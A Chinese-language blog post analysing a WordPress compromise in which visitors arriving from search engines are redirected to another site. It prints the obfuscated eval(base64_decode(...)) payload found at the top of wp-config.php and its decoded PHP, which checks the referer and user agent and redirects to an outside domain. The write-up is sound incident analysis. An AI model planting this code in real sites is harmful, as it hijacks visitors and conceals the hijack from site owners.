新型的wordpress挂马

今天一个sxyseo的用户的worpdress网站出现了一个怪异的问题：

直接访问正常，但是从搜索引擎访问则会跳转到别的网站。

比如直接访问sxyseo没问题，但是如果在google site:sxyseo.com 然后访问链接就会跳转到别人的网站。

很明显，凡是有http－referer的都被重定向了，所以最初起初判断是htaccess被挂马了，但是经过检查，htaccess没问题。

后来就怀疑到wordpress本身被挂马了,因为判断http-referer，从而进行重定向，不是htacces在做坏事就是php本身了。

用户将文件下载下来，windows杀毒软件马上预报病毒，病毒文件是wp-config.php

打开wp-config.php，果然，顶部被挂了一段代码：

p style=”white-space:normal;text-transform:none;word-spacing:0px;color:#000000;text-align:left;font:14px/25px verdana, arial, helvetica, sans-serif;orphans:2;widows:2;letter-spacing:normal;background-color:#e5e2dd;text-indent:0px;-webkit-text-size-adjust:auto;-webkit-text-stroke-width:0px;”>

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eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LmlzZmFydC5mYXJ0aXQuY29tLyIpOw0KZXhpdCgpOw0KfQp9Cn0NCn0NCn0="));

base64解开代码，如下：

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error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[’HTTP_REFERER’];
$uag=$_SERVER[’HTTP_USER_AGENT’];
if ($uag) {
if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex.ru/yandsearch?(.*?)&lr=/",$referer) or preg_match ("/google.(.*?)/url?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://www.isfart.fartit.com/");
exit();
}
}
}
}
}